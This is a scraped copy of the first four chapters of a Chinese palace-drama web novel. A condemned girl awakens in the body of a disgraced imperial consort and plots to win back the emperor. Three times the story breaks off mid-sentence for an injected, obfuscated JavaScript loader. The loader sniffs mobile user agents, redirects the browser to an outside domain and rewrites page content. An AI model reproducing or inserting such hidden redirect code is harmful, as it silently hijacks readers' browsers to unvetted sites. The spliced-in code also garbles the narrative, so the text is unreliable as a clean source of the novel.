《贵妃失忆之后》 1. 第 1 章 清风吹动经书,掠过一页又一页。 案前本该静心抄写经文的女子却早已经笼了一柄纨扇在手,沉沉睡去。 午后的日光透过帘幕,薄如蝉翼的素绢上映出半张美人面。 沈幼宜双睫轻颤,却不肯起身梳洗,免得打断殿外宫人的议论。 “这都已经第三个月了,宫里怎么还没有旨意来?” 那年轻宫女的声音低了下去,嘟囔道:“人说见面三分情,贵妃在圣上面前最得宠,将个国色天香的美人儿独自撇在汤泉宫数月,圣上竟也舍得?” “茜兰,你那是什么年月的旧历了!” 稍年长些的宫人略有些鄙夷,嗤笑一声才道:“她哪里是为太后祈福,分明是被圣上逐出宫来的,若不是圣上念着燕国公府从龙有功的旧情,你当她还能安安稳稳在行宫里念经抄书?到底是个不安于室的,就算是攀上了圣上又如何,都不必宫里那几位出手,自己就先把这锦绣前程断送了,真当圣上是她一个人的不成?” 她的声音渐渐压低,像是在与同伴分享些什么见不得人的宫廷秘辛,年轻宫女听得便越发灰心:“含薰姐姐的姑母是修媛娘子身边人,日后自然不愁,我便不同了……” “可我实在想不明白,贵妃娘娘平日里对着咱们都是和颜悦色,说起话来轻声细语,她怎么敢当场忤逆圣上?” 沈幼宜也悄悄竖起耳朵。 她比茜兰更想知道,这位原身容貌与她有八九分相似的卫贵妃到底是怎么敢得罪天子的? 十日前她刺破了手臂,用血和着墨写下有生以来第一封情书,用太子送她的珠钗贿赂狱卒,央求他设法把信送到东宫去。 她以良家子身份入宫后,太子曾偷偷与她夜半泛舟太液,于月下盟誓,甚至用口唇轻薄了她。 年轻男子血气方刚,重欲在所难免,沈初宜还记得第一次在二皇子府见到太子时,她落水后拼命挣扎,咽进几口湖水后,在黑暗里没捉住一根救命稻草,反而捉住了太子的…… 她似水中女妖,贪婪吸食了几口对方渡来的阳气,才后知后觉地睁开眼,又羞又急,立刻“昏”了过去。 旁边分明还有侍卫,他却纡尊降贵,似天降的一束光,破开混沌碧水,单臂揽住了她,至于那点尴尬却又无意的反应不是她一个越州刺史的女儿能计较的。 太子作为储君,不过偶施援手,也不屑于挟恩图报,但正巧元朔十五年二月,当今圣上有意为子侄择选妻妾,内廷广采良家子,她的阿兄又要下场科举…… 这并不是太子觊觎臣女的容色,而是沈家知恩图报。 毕竟从见到太子的那一刻起,她就知道自己必须对这个男人一见倾心,最好也令他为自己神魂颠倒。 然而还没等元朔帝为太子择出一位太子妃和两位良娣及数位承徽昭训,越王就起兵谋逆,不过两月便被镇压,连带沈氏一族也遭了殃,男丁下狱问罪,女眷及婴幼囚于暴室。 从前笑脸相迎的姊妹立刻对她避之不及,那些狱卒贪婪的目光如暴室囚牢的气味一般阴暗黏湿,紧紧附在她身上,霉得令人作呕。 沈幼宜没指望那点露水情缘能让太子在圣上雷霆震怒的关头替沈家出头,可她在宫中举目无亲,除了每日辰时一刻漏进来的日光和这点痴念,实在不知道还有什么值得期盼。 总有一日,监门会自外而开,日光倾泻至阴暗潮湿的牢狱,身着常服的太子神色匆匆,大步流星向她走来,见到受苦的情人面色苍白,热泪滚滚而下,不顾一切将她打横抱起,告知她圣上查明了真相,还沈氏一族清白,他日后一定加倍弥补她这些时日受到的苦楚,日后做了皇帝,要封她为九嫔、妃位、甚至是皇后。 谁也不能瞧不起她! 可她这美梦不小心做得太长,还出了点差错,一觉醒来竟穿到了元朔二十年五月,甚至夺舍了一个比她更加风情秾丽的美人,更要命的是这个美人还是元朔帝新纳的妃子! 沈幼宜有些欲哭无泪,她阿爹阿娘知道她生得貌美,一直盼着她能得到贵人的青睐,这愿望如今虽说实现了,可曾宠爱她的不是他们以为的太子,却是太子的亲生父亲……当今的圣上元朔帝。 他们父子二人的口味倒是很像。 好在她已经不再是皇帝身边的宠妃,否则一旦被人知道她真实的身份,旁人一定把她当成妖邪精怪,非得请人做法,活活烧死不可! 含薰的声音此刻却慢了下来,似是打了一个寒颤,反斥责道:“不该问的便不要问,你还想不想调到修媛娘子身前了!” 茜兰大约有几分愕然,还没等她开口质疑,殿内却传来一道熟悉的轻笑。 那声音一如既往的温柔,且越来越近。 “只许州官放火,不许百姓点灯,含薰,你这是什么道理?” 素衣披发的美人轻移莲步,只穿了一双白绫罗袜,悄无声息地出现在窗前。 贵妃娘娘正笑盈盈地打量着她们,眼神天真纯净。 两人面色霎时惨白,这藏经斋是贵妃抄书用的屋舍,可自从贵妃近来竟像是忘了这回事一般,嫌这地方气息不好,极少踏足。 宫人们要闲谈躲懒,常借口晒书,随便拿几堆典籍在外装模作样地翻晒,贵妃或许知道,但从不会来管她们。 含薰如遭雷击,呆滞在原地,反倒是茜兰手疾眼快,拉了她跪下,瘦弱的身躯瑟瑟发抖:“娘子恕罪,奴婢们不知娘子在此,竟扰了您清修,还请娘子开恩,饶了奴婢们吧!” 沈幼宜一连偷偷听了几日,发觉这些宫人不过是偷偷说些主子们的坏话,有用处的东西极少,不免大失所望,也不想再听下去了。 “你也说我是清修,要和你们这些人计较,好像我这人很刻薄似的。” 沈幼宜点了点头,若有所思道:“我在圣上面前失了恩宠,带累了你们这一片大好前程,既然这样,那我索性做个好人,送你们去杨修媛那处去,好不好?” 含薰拼命摇头,虽说她姑母许诺过,等卫贵妃彻底失势后就将她调回太子身边去服侍,可她要是被贵妃逐回去,以杨修媛的刁钻脾气,她只怕是再也活不成了! “娘子,奴婢方才是失心疯了,才会胡言乱语,求您念在太子……妃的情面上,饶了奴婢这一回罢!” 含薰膝行两步,伸出那双纤柔娇嫩的手,试图捉住她一片衣角乞怜:“奴婢服侍娘子最久,贴身的针线都是奴婢来做,若骤然换了旁人,怕是入不了您的眼。” 沈幼宜轻轻笑了一声,她这话说得不错,这些日子她勉强能从身边人的言语中拼凑出一点原身的过往,离不开含薰这张肆无忌惮的嘴。 元朔帝这位卫贵妃名兰蓁,是燕国公卫敬中膝下第三女,生得顶顶妩媚风流,哪怕有着个新寡的名声,可先夫也是战死沙场的郎将,二人膝下无子,她一个娇艳美人难免守不住寂寞,要不是不肯低嫁,大概早有大把男子求亲。 今上虽有六宫,但年岁渐长,在这事上的兴致也就淡了下来,嫔妃难得进御。 二人之所以结缘,是因元朔帝与太子一同微服出游时偶至燕国公府邸,听闻自己麾下这位旧臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583266|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟有一日会为女儿婚事苦恼,索性将这位卫娘子礼聘为婕妤,由宫中奉养。 合该这位卫娘子时来运转,入宫未及三月,卫氏族人便又立新功,皇后特请晋她位分,与太子生母杨修媛并列九嫔,后来恰逢今上御极第二十载,太后做主,六宫大封,卫兰蓁无子也进秩为贵妃,风头一时无两。 虽然卫贵妃本人入宫短暂风光后是接二连三的倒霉,可对于沈幼宜而言,眼前的一切还是震撼到了她。 同为女囚,卫贵妃就算是触怒了天子,住的也是精舍华屋,睡的仍是高床软枕,可口的素斋教她每一餐都能多用两碗饭,原本丰腴的身段非但没削减半分,还又添了一点风韵……即便是落魄至此,原身也比险些成了她婆母的杨修媛还高上一阶! 而听含薰的意思,她曾经需得百般讨好迎合的太子为了孝敬这个得宠的年轻庶母,还把自己手下出色的绣娘送来伺候。 沈幼宜轻轻叹了一口气,生出一丝惆怅,人比人,气死人,她的愿望在这具身子上实现了大半,只是有些地方与原本的构想相去甚远。 不知道当太子殿下向这位卫贵妃行礼时,可曾有一刻恍惚,想起山盟海誓过的情人还在暴室受苦? 这声叹息落在含薰耳畔,竟多了些旁的意味。 卫贵妃待宫人和善不假,可她未入宫前那些狠毒的传闻却也未必不真。 “太子妃要你来,不就是服侍我的么?” 沈幼宜漫不经心道:“既然已经送了来,那之后便是归我处置,难不成内廷里处置一个奴婢,还要看东宫脸色?” 她在宫里朝不保夕的时候任人摆布就罢了,怎么换了具身子还要被自己的宫人欺负? 茜兰正要开口,却见掌事的檀蕊带了六七个宫侍匆匆赶来,央求道:“姑姑,求您替婢子们美言几句,奴婢再也不敢躲懒了!” 檀蕊远远听到响动,就知道二人得罪了主子,只有些不悦地瞥去一眼,便匆匆入内侍奉,见贵妃只系了罗袜倚在窗边,连忙俯身为沈幼宜穿履。 这几日贵妃静坐冥思的时候不许宫人近身,只有用膳玩乐的时候才露出几分笑模样,宫里面没有半点消息传来,底下人日渐怠慢,可贵妃似乎也不大在意。 可这次却似动了真恼,贵妃袖下的手气得微微颤,连开口求情的机会都没给她,冷冷道:“吩咐人去掖庭局走一遭,再选几个年轻伶俐的来伺候!” 贵妃是挑剔的人,上一次内廷广采良家子还是元朔十五年的事情,即便近些年陆陆续续也有各地送来的宫人与抄家入宫的罪臣女眷,拔尖的女子早已出了头,如今要从掖庭局选几个针线好、又没做过什么粗活的宫人,简直如大海捞针。 倒不如去少府监索要几个老成的绣娘来服侍。 然而贵妃正在气头上,檀蕊迟疑片刻,应了一声是,她见贵妃重新坐到案前,却并没有执笔抄写的意思,只好让随行的宫人都守在外面等待吩咐,自己再去料理这些琐事。 沈幼宜望着案前潇洒灵秀的字迹,思绪却渐渐飘远。 她平白占了卫贵妃的身子,不但延了寿命还享受着人家的富贵,尽力不露出破绽,免得被人当成是妖孽抓起来杀了也是应尽的本分。 沈家落败至今已有数年,该问斩的人早已经死了,能活命的女眷过得大约也是生不如死,她再世为人,理当看得开些才对。 可她还是忍不住抱有一点期望。 原本的她和阿娘都还活着吗? 若“沈幼宜”还在,住在那具身子里的人,会不会就是卫兰蓁? 2. 第 2 章 汤泉宫远离皇城,一来一去,竟是七日后才有新的宫人被送到行宫里服侍,大约是知晓贵妃挑剔的性子,未必满意这人选,还着人携来了数本历年宫人名册,请贵妃过目。 沈幼宜在宫里待了数月,日常也和这些内监掌事打交道,从前的姑姑教导她,嫔妃一旦进了宫,恩宠和子嗣比出身贵贱更要紧,天子是天底下最尊贵的男子,倘若得不到贵人的欢心,便是尚书宰相的女儿也要受冷落。 卫贵妃失宠日久,又不曾生育,掖庭局便敷衍起来,许多事情不必做到明面上,暗处磋磨人的地方有的是,从前是宫人们挤破头想钻营进来的好地方,如今也变得门可罗雀。 这样的落差足够打击一个娇生惯养的贵族女子。 沈幼宜偶尔有些同情自己这具身子,大概长她们这张容貌的女子都有几分命苦,先是死了丈夫,而后又被家里送入宫中服侍天子。 分明是不甘心守着个死人牌位过日子的年轻女郎,偏偏要人进宫来守活寡。 今上的年纪总也有三十六七,别说失宠,就是得宠的时候也未必能分得多少雨露,生不出来子嗣,没什么后福可指望,能享受的只有眼前的富贵,但现在这些富贵也烟消云散了。 好在如今这具身子里的人是她,她从没得到过卫贵妃过去享有的殊荣,即便为原身有一点点不高兴,被风吹一吹的工夫也就散了。 除却这些人情冷暖,贵妃吃穿用度大体与份额不差,宫里的嫔妃都有失宠的时候,谁又能笑话谁呢? 新送来的女子有些只负责粗活,其中一个瞧之不过二十四五,说话轻声细语,捧上来的绣活颇为出色,就是身上有一股若有若无的奶腥味。 “奴婢从前名叫岁朝,是元朔十年入宫,一直在六局服侍,三年前蒙恩出宫,是产育后才回宫中的。” 岁朝想讨一讨这位新主子的欢喜,可上首的贵妃心思显然不在她身上,反而翻阅起掖庭局送来的宫人名册,似乎到元朔十五年那册时才突然停住,片刻后竟笑出了声来。 檀蕊察言观色,见贵妃怔怔出神,道:“娘子可是不大中意?” 沈幼宜回过神来,随手将那名册合上,摇了摇头道:“没什么,就她罢。” 为了方便将宫奴划分三六九等,籍册上记载了她们的生辰、容貌、入宫的缘由,以及学识手艺的优劣、现归何处使用。 然而有关沈氏女的那一页上却只有寥寥几笔。 宫人沈氏与其母因罪入宫,还未来得及分配去处,便高烧连日不退,因此被挪出宫静养,而后亡故于元朔十五年七月初七。 鲜活年轻的美人难得,可储君的身边没了一个,还会有下一个,无论当初如何浓情蜜意,太子早将她这个过客丢在脑后,就像皇帝那般,喜欢的时候捧在掌心里,一旦不合心意,同样弃她如敝履。 她早做了最坏的打算,被人辜负得多了,知道这个结果时并不觉得伤心,只是有点失望罢了。 阿兄在书房紧紧揽住她时说一辈子也舍不得她嫁人,为着她到二皇子府上赏花,连着十日都没理过她,那痛苦骇人的神色她至今难忘,可最后他还是亲手将自己送到了宫里。 太子按在她心口时气喘吁吁,惊叹她羞怯婉转的风情,亲昵唤她宜娘,日后成了婚,只怕将性命都送在她身上。 她要太子的命做什么呢,她只想要自己的命。 然而期盼了那么久,从没有人来救她。 就像阿娘告诉她要瞒着兄长出门时说的那样:少年郎与孩童原本没什么区别,不必将他们说过的每句话都放在心上,再过一段日子,他们自己便先忘得一干二净,反嫌女子揪着往事不放。 可莫名的,她也松了一口气。 很多郎君都对她倾吐过缠/绵爱意,痴情得可以为她去死,这种过于澎湃的感情让她稍微有点得意,但更多时候是觉得为难。 可惜她只是一个平凡普通的小娘子,既没有杀人的权力,也没有需要人为她去死的大事,不能即刻验证真伪,只有出了事情才能看得一清二楚。 他们只是垂涎她的皮囊,沈氏荣耀时想着收入家中私藏,沈氏倾颓后哪个也不敢与她沾上一点关系。 这些人对不住她都是情有可原的,他们有很多很多的不得已,所以……她如今夺舍的这具身子曾经睡了太子的父亲,日后万一还要再睡几次,也是不得已。 谁叫他当初不肯施以援手呢? 沈幼宜将岁朝看了又看,暂时瞧不出什么不妥,和颜悦色道:“你们都下去罢,我还要看几页书静心,我不吩咐就不用进来伺候。” 又是如此……檀蕊将这位主子望了又望,她犹豫再三,还是缓缓开口:“娘子,眼看就是六月初了,您当真没有一点打算?” 沈幼宜有些不解,她眨了眨眼:“再过几日是有什么要紧的事情么?” 檀蕊无奈道:“再过一月就是圣上的万寿,内侍省来人催要您为太后娘娘抄写的经书,说是要供奉到殿前的,迟了日子怕是不好交差。” 贵妃前三个月总是按时命人将经书送去,可这月以来便不大动笔,她那日留神看了一眼,薄薄的几页看得人心惊。 经书倒不算什么大事,要紧的是万寿节近在眼前,贵妃连半分表示也无。 沈幼宜细长的眉微微蹙起,宫妃争宠本是份内的事情,若卫贵妃还活着,必然不会甘心老死行宫。 更何况沈氏落败的时候她是稀里糊涂便被牵连进去,其中内情全然不知,若不借助卫贵妃的宠爱与地位,她在掖庭做一辈子宫女也不会知晓实情。 只是她与原身有许多的不同,卫贵妃对皇帝的喜好多少熟悉一些,她却半分不知,要再引得天子的垂青,便是难上加难。 非但如此,原身每个月都要写一卷数千字的经文送去宫中,可奈何她下笔几次,竟全是自己当年的字迹。 她偷偷对照着贵妃的书法练了四十张纸才勉强有几分相似,可前后对比,还是有几分照猫画虎的滑稽。 可惜这其中的难处她不能对第二个人说,否则旁人不会觉得她见鬼了么? 檀蕊见贵妃面露难色,斟酌要不要开口。 圣上为何会与贵妃失和,外人皆不知实情,贵妃娘娘自己却是一清二楚的。 要是按照贵妃的脾气,夫妻吵架是不论对错的,与圣上彼此冷了三个月,总该递个台阶过去,要么就要花些心思去讨好圣上,要么就该花更多的心思,让圣上主动来探望她了。 要说一两月前檀蕊对这位年轻娇媚的贵妃尚有十成信心,事到如今,也有几分怀疑,近些时日的一反常态,到底是不是贵妃的心思手段。 但她从前侍奉过元朔帝的两位皇后,对宫中的事情见得并不算少,微微一笑,试探道:“奴婢按娘子的吩咐,命人将含薰送到杨修媛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583267|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫中,杨修媛投桃报李,待掖庭局送人来时,也回赠了一件礼物给娘子。” 贵妃毕竟是个心高气傲的女子,即便暂时了无斗志,也忍不下这口气。 杨修媛的赠礼虽说令人作呕,在她眼中却正是一剂良药。 檀蕊那温和清浅的笑意教沈幼宜手臂下意识后缩收紧,她虽年轻,却不蠢笨,一猜便知不会是什么好东西。 沈幼宜对杨修媛的印象全来自于太子,这位未来的婆母脾气应该是稍稍有些急躁的爽快人,不大合圣上的意,即便生育了太子,也一直处于不上不下的九嫔位分。 不过太子也曾说过想求杨修媛提前见一见她,但她在内廷时从没听到有贵人传召。 反而是她同屋的良家子,虽说没什么中选的希望,可却得到了些香料布匹的赏赐。 大约是要明明白白地告诉她,少做飞上枝头的美梦。 但她可不是那么听人劝告的主儿,是太子喜欢她,做母亲的不去劝自己的亲生骨肉,却要来为难一个外人,这是什么道理? 沈幼宜压下心头万千思绪,平和道:“拿来与我瞧瞧。” 从前她们是婆媳,如今是共侍一夫的嫔妃,这两种关系都不见得多妙,她将含薰送回去的那一刻,便已称得上主动挑衅。 可谁叫嫔妃不能轻易出宫,汤泉宫当真算得上山高皇帝远,杨修媛对她再不满,还能打上门来吗? 皇帝在一日,她不能,太子也不能。 在她身边放这么个蠢货监视自己,活该关起门来生闷气! 杨修媛的宫人捧了锦盒,还未迈入殿门,浓郁的零陵香便熏得沈幼宜蹙眉,她下意识掩住口鼻,仔细嗅了嗅味道,却又将手拿开,漫不经心道:“杨娘子说什么?” 那宫人深深低头,恭恭敬敬道:“含薰那贱婢搬弄是非,胡乱攀扯,修媛本不知情,见人送了过来,生怕贵妃娘娘误会,思来想去,只好叫人拔了这贱婢的舌头,贬做下等仆役,为娘娘出一口气。” 锦盒上的花纹珠饰极尽巧思,然而甫一启开,半截干瘪暗紫的肉块便散发出浓烈馥郁的香气,挥之不去。 哪怕是有过准备,真见到这腌臜东西时沈幼宜还是被惊得站起身来,她只在暴室见过这等酷烈的手段,却没想到后妃之间会将这些摆到明面上! 那宫人抬眼偷瞧这位被杨修媛斥为狐媚惑主的贵妃,确实美丽不可方物,端的是娇弱风流,惹人怜惜,被修媛娘子稍微吓一吓便珠泪盈眶,惊喘得连话也说不出来,全然经受不住这样的回敬。 难怪太子私占了这么多年也不肯放手。 可谁知也是这么个胆小怯懦的美人,不但背着殿下摇身一变为卫氏女,竟又攀了一根更高的枝,将修媛气得不轻。 若贵妃安安分分地待在行宫也就罢了,偏偏她失了恩宠后反倒愈发嚣张,还敢将这些时日为她与太子暗中牵线的含薰送到修媛面前挑衅,明晃晃炫耀与太子这些时日的亲密。 就算她背弃了太子又如何呢,这位以礼贤下士、仁和宽厚著称的储君到底舍不下她,竟还巴巴地与她暗中往来,连他一向敬畏的父亲都可以抛在脑后。 气得修媛险些呕出血来,恨不得亲自过来,提剑杀了这个勾引帝王父子的贱人! 她想起临行前杨修媛面上可怖的神色仍觉腿软,硬着头皮恭谨道:“不知道修媛如此诚意,贵妃娘娘可还满意?” 3. 第 3 章 沈幼宜瞥过那举止神态挑不出错的宫人,分明是战战兢兢,可她却能体会到其中深深的恶意。 含薰从前是她身边跋扈的大宫女,因为“卫贵妃”的一句话,便跌到九十九层地狱下,这债也该是她的,与杨修媛无关。 沈幼宜深吸了一口气,她不知道真正的卫贵妃对此等酷烈刑罚满意与否,可这对她来说,却是个不错的时机。 檀蕊见贵妃胸口起伏不定,似乎是被气狠了,思忖着也到了火候,连忙奉了一盏清心的茶来,伸手为她抚心顺气,正要顺势呵斥那宫人将这东西拿下去,手中的分量倏然一重,连带她也重重跌在地上。 “娘子,娘子您怎么了!” 空旷的殿内珠玉钗环叮当作响,杯倾盏倒,隐隐传来回声。 身上的罗衫华裙都沾了水痕,沈幼宜气息渐弱,似是一口气堵在心口,大颗大颗的泪珠自眼尾滑落。 檀蕊大惊失色,竭力抱持住贵妃的身躯,正要大声唤宫人进来,袖子却被人轻轻扯动了几下。 面若金纸的贵妃半掀眼皮,露出狡黠的一双妙目,削弱了身上那分病弱娇怯的韵味。 “去求皇后娘娘请个医女来,便说、说我病了……” 她豁开脸面,头一歪便合紧了眼,心里反而开阔许多。 东宫里的斗争与皇宫里的也没什么不同,男人也都是差不多的。 元朔帝是个什么样的人她不清楚,可不知道如何勾引父亲,她还不知道怎么撩拨太子吗! 他们父子二人的品味既然相去不远,那她要用卫贵妃的身子复宠,难道还会是难事么? …… 夏夜雷鸣阵阵,自远而近,一团热风兜头扑来,燥热丝毫不减,却撞得宫灯左摇右颤。 皇后侧身望了望窗外阴沉天色,略有些诧异:“怎么就到这个时辰了?” 缀玉吩咐内侍去关窗,打趣道:“陛下在这里陪娘娘下棋,椒房殿的辰光自然过得也更快些。” 皇后嗔怪地瞥她一眼,而后才转向持枚沉思的天子,目光殷切道:“眼瞧着便要落雨,陛下可要在椒房殿用晚膳?” 毕竟是侍奉二十年的旧人,元朔帝还不至于驳斥皇后的颜面,颔首道:“有劳皇后。” 自贵妃触怒天子后,这还是元朔帝头一次往内廷中来,缀玉也为皇后生出几分得意,然而想到皇后的吩咐,上茶时不觉将头更压低了几分,轻声道:“多思伤神,陛下与娘娘对弈良久,奴婢让人备了杏仁茶,先润一润喉罢。” 宫中的杏仁茶酪多加石蜜糖汁,厚腻香醇,元朔帝一向不大喜爱,却未显露不悦:“皇后近来改了口味?” “妾原也觉着一般,是贵妃最喜欢喝这个,她说这杏仁茶滋阴去火,还能柔润肌肤,劝我常用,后来便习惯了。” 皇后想起旧事不免语气轻快许多:“膳房的方子都差不多,她却最喜欢这里的,每次来请安都要讨两盏喝,真不知道她到底是来伺候妾的,还是来讨茶吃的。” 然而她抬头对上元朔帝似笑非笑的神情时,笑容渐渐淡了,立刻起身行礼:“妾失言了。” 元朔帝望着盏中那一抹浮着香气的乳白,不置可否,浅尝了一口。 椒房殿的膳房迎合皇后的口味,菜肴一向清淡,杏仁茶的口感柔和滑腻,馥郁的香气蕴在齿间久久不散,清甜缠绵。 “一盏茶而已,皇后何须如此小心。” 茶盏轻磕在桌案上,发出清脆的一声响,元朔帝起身扶起她,温声宽慰道:“妇人以贞静为要,容色不过外物,皇后脾胃虚寒,还是少饮为宜。” 或许是多年骑射的缘故,元朔帝贵为天下君父,养尊处优,仍不失当年沙场意气。 他虽威仪严毅,生性沉静,不轻易与嫔妃言笑,然而对待侍奉年久的后妃、特别是育有子嗣者一向十分宽厚。 可天子手握日月,生杀予夺,虽是极寻常的夫妻闲话,声音温润清朗,却无端叫人觉出风雨欲来的威压,皇后还要说些什么,话却堵在喉咙里,什么也说不出口。 “朕想起宣政殿还有些紧要的奏疏,今夜便不同皇后用膳了。” 内侍闻声忙捧了外披为元朔帝系上,皇后怔了怔,缩回欲为元朔帝整理衣衫的手,只含着得体温柔的笑意侍立一侧,然而元朔帝却恍若未觉,只路过她时匆匆投去一瞥,似含歉意:“改日朕再过来陪你下棋。” 前朝的政务是永远也忙不完的,所谓改日便是改到明年也不算失约。 紫宸殿随行的内侍屏气凝神,鱼贯而出,仪仗浩浩荡荡,连那丝若有若无的温情也一并卷走,皇后等那龙涎香残留的气味彻底散去,才慢慢起身,平和道:“收拾归整罢,不必封局了。” 缀玉发急:“娘娘,卫氏入宫后便占尽皇恩,陛下好不容易才驾幸一次,您怎么为了贵妃又将陛下气走?” 她想不明白,就算皇后要借年轻又无子嗣的卫贵妃压制育有太子的杨修媛,可说到底皇后也是为了圣心,为了二殿下的日后,今日费尽心思将陛下请来,反倒又将陛下推远了。 皇后清浅一笑,轻声叹道:“天威难测,陛下的心思我如何猜得透呢?” 她瞧得出,陛下今日心绪不佳,兴趣全然不在棋上,往日是棋逢对手,杀得难解难分,今天却要她屡次暗中相让,才堪堪持平。 想必下一次圣驾再来,也不会记得住今日的棋局如何。 贵妃失宠那晚,天子杖毙了昭阳殿许多宫人,不许外人议论个中缘由,她深夜匆匆赶去时只见贵妃委顿在地,鬓发凌乱,神情却是宁和的,仿佛心若死灰。 美人沾尘,实在是惹人怜惜。 陛下从年少时便很容易获得女子的爱慕,不知多少女子做过一朝飞上枝头的美梦,连她当年也不会例外。 可这样的男子只适合远观,一旦真正靠近,便会察觉到皎如日月的光华下是寒彻人骨的凉薄与傲慢。 君父俯瞰万民,从来不会将谁真正放在心上,却有足够的耐心。这些嫔妃不过是政事之余的消遣,若安分乖巧,即便失去了新鲜意趣,皇帝也不会吝啬赏赐位分,但若跋扈难驯,任凭什么桃李秾艳的美人,一朝被弃,便是十年八年地冷着也是常事。 瞧一瞧杨修媛如今的处境,便知天子喜恶如何。 缀玉想起汤泉宫里装病的贵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583268|171600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃,略有几分犹豫,皇后娘娘要是有意推贵妃一把,何不在元朔帝面前说起此事,然而皇后好端端的却说起杏仁茶。 “说起来我侍奉陛下这么多年,还是第一回见陛下动这么大的怒,过了这许久,提都提不得一句,不知他同一个孩子计较什么呢。” 卫贵妃的年岁与两位皇子相仿,皇后想起从前那个没有缘分的女儿,生出来一丝怜意:“贵妃到底还年轻,她既然想回宫来,我不妨顺手一推,至于圣意如何……” 皇后也有几分拿不定圣心,她在元朔帝面前开口已是不易,踌躇几番还是要谨慎为宜:“那便是贵妃自己的造化了。” …… 檐下飞雨成幕,朱门重重掩闭,已近下钥的时辰。 昔日壮丽奢靡的昭阳殿,今夜却黑寂沉沉,连灯也不见点上一盏。 陈容寿暗骂这些守宫的内监懒滑,小心提了一盏鎏金錾花八方灯,为元朔帝引路。 暖热的烛光照亮了屏风上生尘的花鸟,然而朦胧纱影后,只有罗帷飘荡。 卫贵妃喜欢在内寝焚烧四和香,用蔷薇水熏帐,时隔数月,帐底仍存一丝若有若无的缠/绵香气,缭绕在人指尖,连他的心也跟着颤了颤。 那样明艳活泼的美人,生得娇怯柔媚,却恨不得时时刻刻缠着陛下求爱的贵妃,为何又这样冷如坚冰,不肯知情识趣呢? 恍惚之际,陈容寿听得元朔帝问了一声。 “她这些日子在做什么?” 陈容寿忙醒过神来,禀道:“娘子自从至汤泉宫反省,便一直安分守己,每月按时抄录经书,其余时候大多闭门不出,只是偶尔会到园中赏月弹琴。” 他擦了擦额头冷汗,虽说元朔帝这些时日并没有问过贵妃一句,可他却不敢不留心贵妃的一举一动。 贵妃受罚时实在太过安分,安分得有些令人心惊,眼瞧着紫宸殿日渐肃沉,几位天子近侍对卫贵妃的祈求也一降再降,甚至不求她别出心裁地逗今上一笑,哪怕是在行宫中发些小娘子的脾气,痛哭忏悔,他们的日子说不定也能好过些。 然而贵妃这些日子开窍,果然发了脾气,却恰巧是将内侍省派去伺候的人发落回来。 好在贵妃发落人用的不过是个寻常罪名,天子更不许人在紫宸殿内提起贵妃,否则一旦圣上知晓他们这些近侍私下如此行事,他们未必承受得了天子一怒。 在外人眼里,内侍省行事便是陛下的意思,堂堂天子,竟会命人窥伺一个失宠宫妃的起居,不免贻笑大方。 元朔帝抚过那对连理瓶,见陈容寿没了下文,道:“没有旁事了么?” 陈容寿略有些为难,贵妃吃得下,也睡得着,能有什么出格举动呢? 他正要斟酌如何为卫贵妃掩饰才能叫陛下少生些气,头顶却传来一声轻嘲的笑。 那声音轻快短促,只是在这雨夜里,不免令人打了个冷颤。 “你收了她多少好处,还要为她遮掩行藏?” 珠帘相撞,发出清脆嘈杂的响,陈容寿心下一惊,偷觑天子面色,元朔帝目光沉沉,面上却是一片平和。 “朕难道还非她不可?” 4. 第 4 章 “皇后娘娘当真是这般说?” 脸上敷了冰凉沁人的玉容桃花散,沈幼宜昏昏欲睡,说起话也有几分懒洋洋的意味:“陛下半点也不肯理我?” 檀蕊面露担忧:“非但如此,传信的人说皇后娘娘才提了一句娘子名讳,陛下便拂袖而去,太后娘娘知道陛下冒雨回宫,还将皇后娘娘训斥了一番。” 她与贵妃一样,都想着复宠不算难事,稍微装个心口疼,便能引得圣心回转,可没想到隔了这么久,陛下是彻底将贵妃抛诸脑后了。 “宫里头的人都是见风使舵惯了的,一见圣意如此,奴婢再要什么东西便愈发推脱敷衍,要不是皇后娘娘对您照拂有加,怕连饭食衣料也要克扣起来了。” 檀蕊忧心忡忡地想,却见榻上慵懒适意的美人睁开双眼,撑起半身凑近,糊满的粉膏遮不住她神色间的笑意,反把檀蕊吓得不轻:“娘子,您这是……” 沈幼宜忽而回想起太子俊朗的面容,沈家虽然希望她在太子的身边博得一席之地,可却不希望她婚前真正失去贞洁乃至有孕,每每太子要更进一步时她都要想法子推脱,有时候他肯通情达理,可次数多了,难免会气恼翻脸。 ——东宫有许多婢女,他并不是非要发泄在她身上才行,旁人求之不得的恩宠,情之所至,到了她这里却一再推却,堂堂太子对一个女郎霸王硬上弓也没什么意思,索性一刀两断,连定情信物也交还剪碎了。 可到最后,太子还是别别扭扭回来寻她。 